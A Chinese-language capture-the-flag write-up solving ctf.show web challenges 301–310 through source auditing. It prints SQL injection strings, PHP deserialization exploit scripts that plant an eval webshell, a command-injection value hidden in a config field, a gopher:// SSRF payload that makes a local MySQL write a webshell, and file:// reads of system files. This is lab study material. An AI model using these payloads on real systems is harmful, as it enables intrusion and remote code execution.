刷题刷题,浅审了一些代码,记录一下题解
sql部分
web301
审计源码可以发现,checklogin.php
存在sql
语句,并通过比较两个字符串来进行登录判断
sql语句无过滤,可以构造查询任意结果
userid=-1' union select 2 from sds_user -- &userpwd=2
web302
只有一处修改,在判断条件的地方
if(!strcasecmp(sds_decode($userpwd),$row['sds_password']))
查看该函数的实现
仍然可以构造查询任意结果,只不过此时需要使用该函数进行一次加密
userid=-1' union select 'f977952c679ca39837adaba7778c288b' from sds_user # &userpwd=2
web303
简单审计,发现数据库文件中包含了用户名admin
和一串密码的哈希值,使用函数验证后发现也是admin
审计代码,发现注入点
无任何过滤,尝试进行报错注入
发现可行,进行注入即可
注意最后长度有限制,需要多读取一次
' and updatexml(1,concat(0x7e,(select right(flag,20) from sds.sds_fl9g)),1)#
web304
上了全局waf
,但是写的比较疏忽
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}
看上去没问题,但问题是第一位就匹配到正则函数的返回值是0
,而return 0
相当于false
,等于waf
白写…
反序列化部分
web305
审计代码,在checklogin.php
发现了反序列化
require 'class.php';
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}
查看class.php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
可以写文件,很明显,直接构造exp
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
/* public function __destruct(){
file_put_contents($this->username, $this->password);
} */
}
$a=new user('1.php','<?php eval($_POST[1]);?>');
echo urlencode(serialize($a));
生成payload
后在cookie
处上传即可,打开数据连接,在数据库中发现flag
web306
入口点换成了login.php
,关键代码如下
dao.php
class dao{
private $config;
private $conn;
public function __construct(){
$this->config=new config();
$this->init();
}
private function init(){
$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
}
public function __destruct(){
$this->conn->close();
}
}
class.php
同上,直接写exp
即可
<?php
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
public function __destruct(){
$this->conn->close();
}
}
class log{
public $title='1.php';
public $info='<?php eval($_POST[1]);?>';
/* public function close(){
file_put_contents($this->title, $this->info);
} */
}
$a=new dao();
echo base64_encode(serialize($a));
web307
本题有命令执行函数,是类dao
中的一个方法
class dao{
private $config;
private $conn;
public function __construct(){
$this->config=new config();
$this->init();
}
private function init(){
$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
}
public function __destruct(){
$this->conn->close();
}
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}
全局搜索该方法,发现在\controller\logout.php
中有调用
<?php
session_start();
error_reporting(0);
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
setcookie('PHPSESSID','',0,'/');
setcookie('service','',0,'/');
header("location:../login.php");
?>
查看config
类中无特殊函数,直接写exp
即可
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
//$this->init();
}
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}
class config{
public $cache_dir = ';echo "<?php eval(\$_GET[1]);?>">1.php;';
}
$a= new dao();
echo base64_encode(serialize($a));
注意生成的webshell
位置是/controller/1.php
web308
相比上一题这里对命令执行函数做了过滤,但是在fun.php
增加了一个curl
函数,即可以进行SSRF
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
function sds_waf($str){
if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
return false;
}else{
return true;
}
}
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
?>
这里要确定一个问题,即利用SSRF
去攻击什么?
通过查看源码的配置文件,可知其监听3306
端口,是一个无密码的mysql
服务
class config{
private $mysql_username='root';
private $mysql_password='';
private $mysql_db='sds';
private $mysql_port=3306;
private $mysql_host='localhost';
public $cache_dir = 'cache';
public $update_url = 'https://vip.ctf.show/version.txt';
}
选择使用gopherus
来攻击
Give MySQL username: root
Give query to execute: select "<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php';
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01
将这段payload
嵌入exp
中
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
//$this->init();
}
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
}
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01';
}
$a=new dao();
echo base64_encode(serialize($a));
web309
本题mysql
有密码,因此需要其他方式的攻击
通过gopher
协议的延时可以探测端口是否开放,开放的端口会保持连接,而未开放的端口会直接返回页面结果,经探测后9000
端口开放,基本可以确定是fastcgi
,继续利用gopherus
攻击即可
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
//$this->init();
}
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
}
class config{
public $update_url = 'gopher://127.0.0.1:9000';
}
$a=new dao();
echo base64_encode(serialize($a));
web310
9000
端口仍然开放,但是不能读到flag
,猜测需要SSRF
攻击内网,尝试读取/etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.12.85.233 6a77fa5edce0
读取内网arp
表/proc/net/arp
IP address HW type Flags HW address Mask Device
172.12.0.6 0x1 0x2 02:42:ac:0c:00:06 * eth0
设置update_url
参数来访问内网ip
地址,没有反应,猜测本地可能存在其他web
服务
尝试读取nginx
配置文件/etc/nginx/nginx.conf
,直接利用file
协议
worker_processes auto;
error_log /var/log/nginx/error.log warn;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
root /var/www/html;
index index.php;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
}
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
根据nginx.conf
,发现存在另一个web
服务,访问其端口,获得flag